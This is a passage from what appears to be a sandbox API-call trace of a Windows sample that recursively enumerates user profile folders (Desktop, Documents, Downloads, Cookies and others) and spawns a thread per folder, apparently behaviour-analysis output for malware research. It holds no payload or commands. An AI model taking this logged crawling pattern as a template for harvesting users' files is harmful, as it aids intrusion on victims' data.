returned 1 [0062.520] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33e9830 [0062.520] wcscpy (in: _Dest=0x33e9830, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.521] wcscat (in: _Dest=0x33e9830, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.521] wcscat (in: _Dest=0x33e9830, _Source="Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0062.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0062.522] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0062.522] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0062.522] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0062.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcc98 [0062.522] wcscpy (in: _Dest=0x33fcc98, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.522] wcscat (in: _Dest=0x33fcc98, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.522] wcscat (in: _Dest=0x33fcc98, _Source="Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0062.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fcc98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0062.523] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0062.523] wcscmp (_String1="SendTo", _String2=".") returned 1 [0062.523] wcscmp (_String1="SendTo", _String2="..") returned 1 [0062.523] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33e91a0 [0062.523] wcscpy (in: _Dest=0x33e91a0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.523] wcscat (in: _Dest=0x33e91a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.523] wcscat (in: _Dest=0x33e91a0, _Source="SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0062.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e91a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0062.525] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0062.525] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0062.525] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0062.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x3433ee8 [0062.525] wcscpy (in: _Dest=0x3433ee8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.525] wcscat (in: _Dest=0x3433ee8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.525] wcscat (in: _Dest=0x3433ee8, _Source="Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0062.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0062.526] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0062.526] wcscmp (_String1="Templates", _String2=".") returned 1 [0062.526] wcscmp (_String1="Templates", _String2="..") returned 1 [0062.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433f28 [0062.526] wcscpy (in: _Dest=0x3433f28, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.526] wcscat (in: _Dest=0x3433f28, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.526] wcscat (in: _Dest=0x3433f28, _Source="Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0062.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0062.527] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0062.527] wcscmp (_String1="Videos", _String2=".") returned 1 [0062.527] wcscmp (_String1="Videos", _String2="..") returned 1 [0062.527] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33e91d8 [0062.527] wcscpy (in: _Dest=0x33e91d8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.527] wcscat (in: _Dest=0x33e91d8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.527] wcscat (in: _Dest=0x33e91d8, _Source="Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0062.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e91d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0062.528] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0062.528] FindClose (in: hFindFile=0x33e0298 | out: hFindFile=0x33e0298) returned 1 [0062.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d620) returned 1 [0062.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc6a0) returned 1 [0062.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc250) returned 1 [0062.528] RtlExitUserThread (Status=0x0) Thread: id = 28 os_tid = 0xce4 [0060.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33e9750 [0060.267] wcscpy (in: _Dest=0x33e9750, _Source="C:\\Users\\Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0060.267] wcscat (in: _Dest=0x33e9750, _Source="\\" | out: _Dest="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0060.267] wcscat (in: _Dest=0x33e9750, _Source="*" | out: _Dest="C:\\Users\\Default User\\*") returned="C:\\Users\\Default User\\*" [0060.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3421150 [0060.267] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0060.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3421150) returned 1 [0060.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9750) returned 1 [0060.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ba60) returned 1 [0060.268] RtlExitUserThread (Status=0x0) Thread: id = 29 os_tid = 0x654 [0060.269] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x33e0698 [0060.269] wcscpy (in: _Dest=0x33e0698, _Source="C:\\Users\\Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated" [0060.269] wcscat (in: _Dest=0x33e0698, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\") returned="C:\\Users\\Default.migrated\\" [0060.270] wcscat (in: _Dest=0x33e0698, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\*") returned="C:\\Users\\Default.migrated\\*" [0060.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3421150 [0060.270] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\*", lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0398 [0060.275] wcscmp (_String1=".", _String2=".") returned 0 [0060.275] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.275] wcscmp (_String1="..", _String2=".") returned 1 [0060.275] wcscmp (_String1="..", _String2="..") returned 0 [0060.275] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0060.275] wcscmp (_String1="AppData", _String2=".") returned 1 [0060.275] wcscmp (_String1="AppData", _String2="..") returned 1 [0060.275] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0060.275] wcscmp (_String1="Documents", _String2=".") returned 1 [0060.275] wcscmp (_String1="Documents", _String2="..") returned 1 [0060.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33d2848 [0060.275] wcscpy (in: _Dest=0x33d2848, _Source="C:\\Users\\Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated" [0060.275] wcscat (in: _Dest=0x33d2848, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\") returned="C:\\Users\\Default.migrated\\" [0060.275] wcscat (in: _Dest=0x33d2848, _Source="Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0062.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33d2848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0062.459] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0 [0062.459] FindClose (in: hFindFile=0x33e0398 | out: hFindFile=0x33e0398) returned 1 [0062.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3421150) returned 1 [0062.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0698) returned 1 [0062.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33df818) returned 1 [0062.460] RtlExitUserThread (Status=0x0) Thread: id = 30 os_tid = 0xa8c [0060.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x24) returned 0x33fc700 [0060.273] wcscpy (in: _Dest=0x33fc700, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0060.273] wcscat (in: _Dest=0x33fc700, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0060.273] wcscat (in: _Dest=0x33fc700, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\*") returned="C:\\Users\\FD1HVy\\*" [0060.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3421c88 [0060.273] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\*", lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e02d8 [0060.273] wcscmp (_String1=".", _String2=".") returned 0 [0060.273] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.273] wcscmp (_String1="..", _String2=".") returned 1 [0060.273] wcscmp (_String1="..", _String2="..") returned 0 [0060.273] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0060.273] wcscmp (_String1="AppData", _String2=".") returned 1 [0060.273] wcscmp (_String1="AppData", _String2="..") returned 1 [0060.273] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0060.274] wcscmp (_String1="Application Data", _String2=".") returned 1 [0060.274] wcscmp (_String1="Application Data", _String2="..") returned 1 [0060.274] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0060.274] wcscmp (_String1="Contacts", _String2=".") returned 1 [0060.274] wcscmp (_String1="Contacts", _String2="..") returned 1 [0060.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x33e06d8 [0060.274] wcscpy (in: _Dest=0x33e06d8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0060.274] wcscat (in: _Dest=0x33e06d8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0060.274] wcscat (in: _Dest=0x33e06d8, _Source="Contacts" | out: _Dest="C:\\Users\\FD1HVy\\Contacts") returned="C:\\Users\\FD1HVy\\Contacts" [0062.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e06d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0062.471] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0062.471] wcscmp (_String1="Cookies", _String2=".") returned 1 [0062.471] wcscmp (_String1="Cookies", _String2="..") returned 1 [0062.471] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33e9440 [0062.471] wcscpy (in: _Dest=0x33e9440, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.471] wcscat (in: _Dest=0x33e9440, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.471] wcscat (in: _Dest=0x33e9440, _Source="Cookies" | out: _Dest="C:\\Users\\FD1HVy\\Cookies") returned="C:\\Users\\FD1HVy\\Cookies" [0062.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0062.472] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7a1b0d23, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7a1b0d23, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0062.472] wcscmp (_String1="Desktop", _String2=".") returned 1 [0062.472] wcscmp (_String1="Desktop", _String2="..") returned 1 [0062.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33e9868 [0062.472] wcscpy (in: _Dest=0x33e9868, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.472] wcscat (in: _Dest=0x33e9868, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.472] wcscat (in: _Dest=0x33e9868, _Source="Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0062.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0062.473] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5da1d6d0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5da1d6d0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0062.473] wcscmp (_String1="Documents", _String2=".") returned 1 [0062.473] wcscmp (_String1="Documents", _String2="..") returned 1 [0062.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x34339e8 [0062.473] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.473] wcscat (in: _Dest=0x34339e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.473] wcscat (in: _Dest=0x34339e8, _Source="Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0062.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34339e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0062.474] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0062.474] wcscmp (_String1="Downloads", _String2=".") returned 1 [0062.474] wcscmp (_String1="Downloads", _String2="..") returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433ce8 [0062.474] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.474] wcscat (in: _Dest=0x3433ce8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.474] wcscat (in: _Dest=0x3433ce8, _Source="Downloads" | out: _Dest="C:\\Users\\FD1HVy\\Downloads") returned="C:\\Users\\FD1HVy\\Downloads" [0062.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433ce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0062.475] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0062.475] wcscmp (_String1="Favorites", _String2=".") returned 1 [0062.475] wcscmp (_String1="Favorites", _String2="..") returned 1 [0062.475] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433d28 [0062.475] wcscpy (in: _Dest=0x3433d28, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.475] wcscat (in: _Dest=0x3433d28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.475] wcscat (in: _Dest=0x3433d28, _Source="Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites" [0062.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 